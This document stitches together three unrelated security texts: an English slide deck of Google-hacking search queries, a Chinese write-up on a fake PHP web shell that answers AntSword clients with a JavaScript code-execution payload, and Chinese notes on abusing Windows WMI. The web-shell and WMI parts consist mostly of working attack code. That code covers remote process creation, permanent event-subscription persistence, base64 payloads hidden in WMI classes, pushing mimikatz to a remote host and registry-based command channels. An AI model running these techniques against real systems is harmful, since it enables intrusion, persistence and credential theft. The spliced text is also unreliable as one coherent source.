intitle:welcome.to.IIS.4.0 Default Server Pages • Web servers with default pages can serve as juicy targets allintitle:Welcome to Windows XP Server Internet Services Default Server Pages • Web servers with default pages can serve as juicy targets allintitle:”Welcome to Internet Information Server” Default Server Pages • Web servers with default pages can serve as juicy targets allintitle:Netscape Enterprise Server Home Page Default Server Pages • Web servers with default pages can serve as juicy targets allintitle:Netscape FASTTRACK Server Home Page Default Documents • Servers can also be profiled via default manuals and documentation intitle:"Apache HTTP Server" intitle:"documentation" Error Messages • Server profiling is easy with some error messages intitle:"Error using Hypernews" "Server Software" Error Messages • CGI environment vars provide a great deal of information • The generic way to find these pages is by focusing on the trail left by the googlebot crawler “HTTP_USER_AGENT=Googlebot” Error Messages • after a generic search, we can narrow down to the fields we find more interesting “HTTP_USER_AGENT=Googlebot” TNS_ADMIN Vulnerability Trolling • Many attackers find vulnerable targets via Google • A typical security advisory may look like this: Vulnerability Trolling • A quick browse of the vendor’s website reveals a demo of the product Vulnerability Trolling • The demo page suggests one method for finding targets Vulnerability Trolling • A quick intitle: search suggests more vectors… Vulnerability Trolling • This search finds the documentation included with the product • These sites are probably poorly configured Vulnerability Trolling • Other searches are easy to discover as well… Vulnerability Trolling • Other searches are easy to discover as well… Vulnerability Trolling • Many times, a good search string is much simpler to come up with • Consider this advisory: Vulnerability Trolling • A creative search finds vulnerable targets CGI Scanning • In order to locate web vulnerabilities on a larger scale, many attacker will use a ‘CGI’ scanner • Most scanners read a data file and query target web servers looking for the vulnerable files CGI Scanning • A CGI scanner’s vulnerability file… • can be converted to Google queries in a number of different ways: /iisadmpwd/ /iisadmpwd/achg.htr /iisadmpwd/aexp.htr /iisadmpwd/aexp2.htr /iisadmpwd/aexp2b.htr inurl;/iisadmpwd/ inurl;/iisadmpwd/achg.htr inurl;/iisadmpwd/aexp.htr inurl;/iisadmpwd/aexp2.htr inurl;/iisadmpwd/aexp2b.htr Vulnerability Trolling • Regardless of the age of the vulerability, there are usually vulnerable targets Port Scanning • Although port numbers are sometimes found in the url, there’s no easy way to scan just for a port number… the results are much too copious inurl:5800 Port Scanning "VNC Desktop" inurl:5800 • We can use creative queries to sniff out services that may be listening on particular ports • VNC Desktop, port 5800 Port Scanning inurl:webmin inurl:10000 • Webmin, port 10000 Port Scanning • Google can be used to find sites to do the portscanning for you • Consider the Network Query Tool Port Scanning • NQT allows web users to perform traceroutes, rdns lookups and port scans. • This is the NQT program checking port 80 on www.microsoft.com: Port Scanning • Google can be used to locate servers running the NQT program, nqt.php • Once servers are harvested, they can be used to perform port scans (usually through a web proxy) • NQT also allows remote posts, so that more than one port can be checked at a time Login Portals • The most generic of login portals Login Portals • Another very generic portal Login Portals • Microsoft Outlook Web Access Login Portals • Coldfusion Admin Page Login Portals • Windows Remote Desktop Login Portals • Citrix Metaframe SQL Information • Gathering SQL usernames is simple with this search SQL Information • This is an SQL dump made by phpmyadmin SQL Information • This is a complete database schema dump, essentially a complete database backup SQL Information • This query will locate SQL schemas on the web SQL Information • In addition, this query finds the words username and password inside the SQL dump SQL Information • This potent query finds SQL dumps wither username, user, users or password as a table name SQL Information • This graphical front-end to SQL is mis-configured to allow anyone admin access SQL Information • This search can be used by hackers to find SQL injection targets SQL Information • …another SQL injection target… SQL Information • ..and another… SQL Information • the mysql_connect function makes a database query with a supplied username and password • This file should not be on the web SQL Information • In most cases, there’s nothing better for an SQL injector than a complete line of SQL source code… SQL Information • …except for really long lines of SQL code… Examples • *** LIVE EXAMPLES REMOVED FROM PRINT VERSION*** Prevention • Do not put sensitive data on your web site, even temporarily • Proactively check your web presence with Google on a regular basis • Use sites like http://johnny.ihackstuff.com to keep up on the latest “Google Hacks” Prevention • Use site: queries against each of your web hosts • Don’t forget about hosts that do not have DNS names • Scan each result page, ensuring that each and every page it supposed to be in Google’s database Prevention • Automate your scans with tools like sitedigger by Foundstone Presentation Materials • This is a condensed version of the actual presentation given at the event • For more information, please see: http://johnny.ihackstuff.com • e-mail: johnny@ihackstuff.com Thanks • Thanks to God for the gift of life. • Thanks to my wife for the gift of love. • Thanks to my kids for the gift of laughter. • Thanks to my friends for filling in the blanks.
pdf
-webshell self-xssxss A“” 0x01 http/https nodejsgoby js rcegobywebshell 1. jb 2. shell.php 3. jb 4. jb 5. jbwebshell 6. 7. JS⸻—RCE OKwebshelljbrcewebshell webshell 1. post 2. 3. 4. ”“ 5. 0x02 111webshell 111=@ini_set("display_errors", "0"); @set_time_limit(0); $opdir=@ini_get("open_basedir"); if($opdir) { $oparr=preg_split("/\\\\|\//",$opdir); $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $tmdir=".cc06e1b50e"; @mkdir($tmdir); @chdir($tmdir); @ini_set("open_basedir",".."); for ($i=0;$i<sizeof($oparr);$i++) { @chdir(".."); } @ini_set("open_basedir","/"); @rmdir($ocwd."/".$tmdir); } ; function asenc($out) { return $out; } ; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "c63f"."aa80"; // echo @asenc($output); echo "03b"."b509"; // } ob_start(); try { $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D} "; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; } else { $R.="/"; } $R.=" "; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.=" {$s}"; echo $R; ; } catch(Exception $e) { echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER 03bb509 webshellweb ”webshell“ \t $ze="%echo \"([^<]*?).\"([^<]*?)\";%si"; preg_match($ze,$A,$B); $c="$B[0]"; // echo "xxxx"."xxxx"; $key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //xxxxxxxx $txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Editi on) i586'."\t".'administrator'; echo "$key"."$txt";// $ret=127; ++ $ze="%echo \"([^<]*?).\"([^<]*?)\";%si"; preg_match($ze,$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); $payload='http://exp.com/index.html';//js echo "$key".'ret=405'."\n".'AntSword'."$payload";// 0x03 demo webshell.php <?php <?php $A=urldecode(file_get_contents("php://input")); //post $iscmd="%(.*)127;%si"; if (preg_match($iscmd,$A,$B)!=0) { // $ze="%echo \"([^<]*?).\"([^<]*?)\";%si"; preg_match($ze,$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); // $payload='http://exp.com/index.html'; // echo "$key".'ret=405'."\n".'AntSword'."$payload";// } else { echo "no"; $ze="%echo \"([^<]*?).\"([^<]*?)\";%si"; preg_match($ze,$A,$B); $c="$B[0]"; $key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); $txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Editi on) i586'."\t".'administrator'; // echo "$key"."$txt"; } ?> ?> index.html <script type="text/javascript"> require('child_process').exec('calc',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); }); </script> Agithub https://github.com/shiyeshu/antSword-UnrealWebshell 0x04 demo php 1. ctfawdwebshell 2. webshellwebshell 3. 0x05
pdf
WMI ——重写版 本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以 Black Hat 2015的 Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。 于是重新整理,有了这份,我认为精简版的WMI 笔记。 WMI 背景 WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信 息模型(CIM)和分布式管理任务组(DMTF)的实现。 换句话说: Microsoft + CIM + WBEM +DMTF = WMI 打开MSDN 中关于WMI 的描述是这样: Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems。 Windows管理工具(WMI)是基于Windows操作系统的管理数据和操作的基础设施。 快速的过一下这部分内容的重点: WMI 实际上的历史非常久远,最早在Windows 2000中内置,后面所有的Windows 系统中都内置 了该项服务。 WMI使用 公共信息模型 (CIM) 表示托管组件,其中包括 系统、应用程序、网络等等 CIM 中使用 “Class"(类)表示管理对象,类的实例是 “Object”,名称空间(Namespace)是一个类 的集合。类包含属性(Property)和方法(Method)。 WMI 支持 Schema 的概念。Schema 是描述特定管理环境的一组类。Microsoft Windows SDK 中 使用了两个 Schema : CIM Schema 和 Win 32 Schema 。CIM Schema Class 使用 "CIM_" 开头, Win32 Schema Class 使用 "Win32_" 开头。 和WMI交互 在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的 Namespaces、Class、Property、 Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。 为了验证上面我描述的一些内容,我建议WmiExplorer 进行查看: 可以注意到前面描述中的 Namespace、Class、Properties、Methods……。 实际上和WMI交互有多种方法: Powershell wmic.exe wbemtest.exe winrm.exe and winrm.vbs WMI Explorer WMI Explorer 2.0.0.2 WMI Explorer WMI Tools CIM Explorer 2020(收费,但是非常强大,对类进行了中文说明,VBscript、powershell 代 码简洁,推荐) Windows Script Host Languages(VBScript – JScript) IWbem* COM API .NET System.Management classes Linux:wmic and wmis 另外两个小工具: WMI Code Creator 这是微软官方出的一款代码生成器,可生成C#、VB .net 、VB Script代码 WMIGen 可生成各种变成语言,调用WMI 除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推 荐使用WMI Explorer ,GUI界面非常好用。 WMI Query Language (WQL) 参考: Querying with WQL WQL (SQL for WMI) WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询: Data queries Event queries Schema queries 详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需 要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。 Remote WMI Protocols WMI 可以使用两种协议用于 Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。 DCOM Microsoft 在TCP 135 端口和一系列的动态端口(不同版本不一样) 运行DCE RPC end-point mapper为它的DCOM服务 端口可通过注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet\ 中的 Ports 设置 可通过 DCOMCNFG.exe 配置 对防火墙不友好(使用 TCP 135和一系列动态端口 1024 到 65535) 默认情况下 Wmi Service ——Winmgmt 在135端口下运行和监听 WinRM/PowerShell Remoting 参考:About Windows Remote Management 实验之前,请务必阅读一遍官方官方文档,哪怕是草草看过。 介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于 SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。 DMTF是不是感觉有点耳熟?前面说WMI背景中就提到过。 默认情况下,从Windows Vista开始成为Windows 的默认组件,从Windows Server 2008 开始, WinRM服务自动启动 默认情况下,未配置WinRM侦听器,即使WinRM服务在运行,无法接受和请求WS-Man 协议消息 SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]> SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]> SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]> Ws-Man 流量是加密的,不论HTTP 或HTTPS 默认配置侦听端口是:HTTP(5985)和HTTPS(5986) 注意,这里的默认配置指定是 Winrm quickconfig 之后。 需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用 Powershell-DCOM 从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets: CIM Cmdlets WMI Cmdlets 前面我提到过namespace,如果不显式指定,默认namespace 为 root\CIMv2 CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。 如果CIM Cmdlets 使用DCOM 无法建立会话,可以使用 -Protocol 参数退回到DCOM #WMI Cmdlets $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password #为了避免凭据提示弹框 Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -Class Win32_Process |Select-Object Name,ProcessId #这里枚举了下进程 #另外支持WQL查询 Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID #该命令和上面的效果相同 Powershel-WinRM #CIM cmdlets $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password $CimSessionOption = New-CimSessionOption -Protocol Dcom $CimSession =  New-CimSession -computerName OWA2010SP3 -Credential $Credential - SessionOption $CimSessionOption ls wsman:\localhost #查看本地计算机WSman提供程序的目录层次结构 #需管理员权限 $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password $CimSession =  New-CimSession -computerName OWA2010SP3 -Credential $Credential Get-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-Object Name,ProcessId WMI Eventing WMI 事件订阅是订阅某些系统事件的方法。 WMI Eventing 有两种: Single process context (本地的单个进程上下文) Permanent WMI Event Subscriptions(永久的WMI 事件订阅) 重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository , 系统关键/重启之后任然存储着,并且,永久的WMI 事件订阅是以 System 权限运行的。 提一个,WMI repository 的所在目录 为 %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA WMI Eventing 包含3个组件(同时也是3类): Event Filter Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型: Intrinsic Events(内部事件):轮询事件间隔内触发的事件 Extrinsic Events (外部事件):实时过滤器,事件发生时立刻被触发 重复一遍,这里不会有大量的细节,甚至略过了非常多的内容,如细节指出有误请务必指出。 Event Consumer Event Consumer 是触发事件是要执行的操作,提供了5个类: ActiveScriptEventConsumer:执行嵌入的VBScript/JSCript CommandLineEventConsumer:执行指定的二进制或者命令行 前面两个类是各类攻击中主要使用的类 LogFileEventConsumer:写入指定的日志文件 NTEventLogEventConsumer:将消息记录到应用程序EventLog中 SMTPEventConsumer:每当事件被送达时,适用SMTP发送一封邮件 Filter to Consumer Binding Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制 以上3种角色具体到WMI中体现为类,可查询判断是否添加生成: WMI Attacks 从攻击者的角度包括不限于可以做到以下这些: Reconnaissance VM/Sandbox Detection Code execution and lateral movement Persistence Data storage C2 communication Reconnaissance 这里提一下wmic,可能大家经常使用 wmic qfe get Caption,Description,HotFixID,InstalledOn 进行补丁的查询,Powershell cmdlets 着是这样的: Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding #注意名称空间参数 Host/OS information: ROOT\CIMV2:Win32_OperatingSystem Win32_ComputerSystem, ROOT\CIMV2:Win32_BIOS File/directory listing: ROOT\CIMV2:CIM_DataFile Disk volume listing: ROOT\CIMV2:Win32_Volume Registry operations: ROOT\DEFAULT:StdRegProv Running processes: ROOT\CIMV2:Win32_Process Service listing: ROOT\CIMV2:Win32_Service Event log: ROOT\CIMV2:Win32_NtLogEvent Logged on accounts: ROOT\CIMV2:Win32_LoggedOnUser Mounted shares: ROOT\CIMV2:Win32_Share Installed patches: ROOT\CIMV2:Win32_QuickFixEngineering Installed AV: ROOT\SecurityCenter[2]:AntiVirusProduct #查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets Get-CimInstance -ClassName Win32_QuickFixEngineering MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点: WMI Attacks – VM/Sandbox Detection 可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox WMI Attacks – VM/Sandbox Detection (VMware) 如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询: 在Powershell 中是这样的: 后面不在啰嗦, 只要理解这个类的查询逻辑,就很容易理解命令 , Get-WmiObject 本质上也是 使用了WQL查询,并且 也支持 -query 参数直接使用WQL查询。 SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648 SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2 $VMDetected = $False $Arguments = @{ Class = 'Win32_ComputerSystem' Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648' } if (Get-WmiObject @Arguments) { $VMDetected = $True } echo $VMDetected = $False #查看$VMDetected 是否为True SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%" SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%" SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe" SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%" #如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox WMI Attacks – Code Execution and Lateral Movement 这里给出了两种协议的 代码执行和横向移动方式,基本都类似: 支持Kerberos WMI Attacks – Persistence 这里使用到的就是WMI Eventing ,如果使用WmiExplorer可查看到 对应 命名空间中创建了新的实例。 $VMwareDetected = $False $VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"' $VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"' $VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"' if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True } echo $VMDetected = $False #注意几个WQL查询之间的逻辑关系为 OR $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $CimSession =  New-CimSession -computerName OWA2010SP3 -Credential $Credential Invoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process - Arguments @{CommandLine = 'notepad.exe'} $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential Invoke- WmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' - ComputerName OWA2010SP3 -Credential $Credential $filterName = 'EventFilter' $consumerName = 'ConsumerName' $exePath = 'C:\Windows\System32\calc.exe' $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" #Flter 可以尝试使用其他事件 $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop #Event Filter $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} #Event Consumer Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} #Filter to Consumer Binding #需管理员权限 适用Process Explorer 监控发现 calc.exe 进程在启动之后,自动结束进程,目前稳定性尚未明确,如 果使用来上线,做好进程迁移。 如何删除? 以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本: WMI-Persistence.ps1 Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "root\subscription" #删除WMIEventFilter Remove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "root\subscription" #删除WMIEventConsumer #删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决 Get-WmiObject -Class  __FilterToConsumerBinding -Namespace "root\subscription" - Filter "Consumer='CommandLineEventConsumer.Name=\'ConsumerName\''" |Remove- WmiObject -Verbose 这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数 Install-Persistence、Remove- Persistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上 线。 Powershell并不是唯一的选择,wmic 中也能实现相同的效果: WMI Attacks – Data Storage 如何查看其中的值: wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" #WMI EventFilter #系统启动 60秒后触发 wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="ConsumerName", ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate="C:\Windows\Sy stem32\calc.exe" #WMI Event Consumer #我这里我启动的是calc wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"EventFilter\"", Consumer="CommandLineEventConsumer.Name=\"ConsumerName\"" #WMI Event FilterToConsumerBinding $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_EvilClass' $StaticClass.Put() $StaticClass.Properties.Add('EvilProperty',"This is not the malware you're looking for") $StaticClass.Put() #新建本地类存储 #需管理员权限 ([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'] #具体的获取Value的值 ([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value 具体的应用: WMI Attacks – C2 Communication (WMI Class) – “Push” Attack $LocalFilePath = "C:\Windows\System32\calc.exe" $FileBytes = [IO.File]::ReadAllBytes($LocalFilePath) $EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes) $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_EvilClass' $StaticClass.Put() $StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop) $StaticClass.Put() $EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value #将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中 #怎么执行? #这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题 $PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile - WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload $PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload # Prep file to drop on remote system $LocalFilePath = 'C:\Windows\System32\calc.exe' #当然这个路径可以设置一个网络上的路径 $FileBytes = [IO.File]::ReadAllBytes($LocalFilePath) $EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes) # Establish remote WMI connection $Options = New-Object Management.ConnectionOptions 和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中, 注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2 不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。 参考:WMI Backdoor 务必阅读这篇,该篇说的更为详细 $Options.Username = '0day\Administrator' $Options.Password = 'Admin!@#45' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '\\192.168.3.142\root\default' $Connection.Options = $Options $Connection.Connect() # "Push" file contents $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) $EvilClass['__CLASS'] = 'Win32_EvilClass' $EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False) $EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop $EvilClass.Put() $EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value $PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload #需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据 ([WmiClass]'\\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value #另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码 $EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value #PowerShell执行命令 $PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile - WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload #完整的代码, # Prep file to drop on remote system $LocalFilePath=’C:\Users\jerry\mimikatz.exe’ $FileBytes=[IO.File]::ReadAllBytes($LocalFilePath) $EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes) # Establish remote WMI connection $Options=New-ObjectManagement.ConnectionOptions $Options.Username =’0day\Administrator’ $Options.Password =’Admin!@#45’ $Options.EnablePrivileges =$True $Connection=New-ObjectManagement.ManagementScope $Connection.Path =’\\192.168.3.142\root\default’ $Connection.Options =$Options $Connection.Connect() WMI Attacks – C2 Communication (Registry) – “Pull” Attack # “Push” file contents $EvilClass=New-ObjectManagement.ManagementClass($Connection, [String]::Empty,$null) $EvilClass[‘__CLASS’]=’Win32_EvilClass’ $EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType] ::String,$False) $EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop $EvilClass.Put() #$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’ 这是原版代码,下面是我修 改的代码 $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password $CommonArgs= @{ Credential =$Credential ComputerName =’192.168.72.134’ } # The PowerShell payload that will drop the stored file contents $PayloadText=@’ $EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’). Properties[‘EvilProperty’].Value [IO.File]::WriteAllBytes(‘C:\Users\Administrator\mimikatz.exe‘, [Convert]::FromBase64String($EncodedFile)) ‘@ $EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode. GetBytes($PayloadText)) $PowerShellPayload=”powershell -NoProfile -EncodedCommand $EncodedPayload” # Drop the file to the target filesystem Invoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload # Confirm successful file drop Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:\Users\Administrator\mimikatz.exe‘ #远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中 $Username ="0day\Administrator"   $Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password $CommonArgs = @{Credential = $Credential ComputerName = '192.168.3.142' } $HKLM = 2147483650 #HKEY_LOCAL_MACHINE = 2147483650(0x80000002) Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWARE\EvilKey' WMI Attacks – Stealthy Command “Push” 上面例子中基本调用的是 powershell 或cmd,在笔者其他篇中提到过ELK配合sysmon ,查找这类攻击 很容易,在Command-line 中查找即可,还记得前面的脚本 EventConsumer 使用的都是 CommandLineEventConsumer ,但是没有使用 ActiveScriptEventConsumer ,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程: 和原演讲PPT有区别,这部分是我在阅读其他师傅的博客得到的表述,其实和利用WMI 永久事件 订阅相同,只不过其中 `CommandLine 变为执行脚本。 如何构造VBScript?相关框架可以自动生成,比如MSF。 整个过程看起来是这样: Event filter example: __IntervalTimerInstruction(可选择其他事件过滤器) Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result' #在远程主机上新建注册表项和值Result $PayloadText = @' $Payload = {Get-Process lsass} $Result = & $Payload $Output = [Management.Automation.PSSerializer]::Serialize($Result, 5) #查阅MSDN,发现这是一种序列化对象的方法 $Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded '@ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText)) #序列化后对象之后编码为Base64 $PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload $RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result' $EncodedOutput = $RemoteOutput.sValue $DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetStri ng([Convert]::FromBase64String($EncodedOutput))) #将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。 %SystemRoot%\system32\wbem\scrcons.exe -Embedding Event consumer – ActiveScriptEventConsumer Event FilterToConsumerBinding 等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。 没有代码 WMI Providers 参考:WMI Providers 如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。 笔者这反面了解甚少,这里演讲者推荐了几个项目 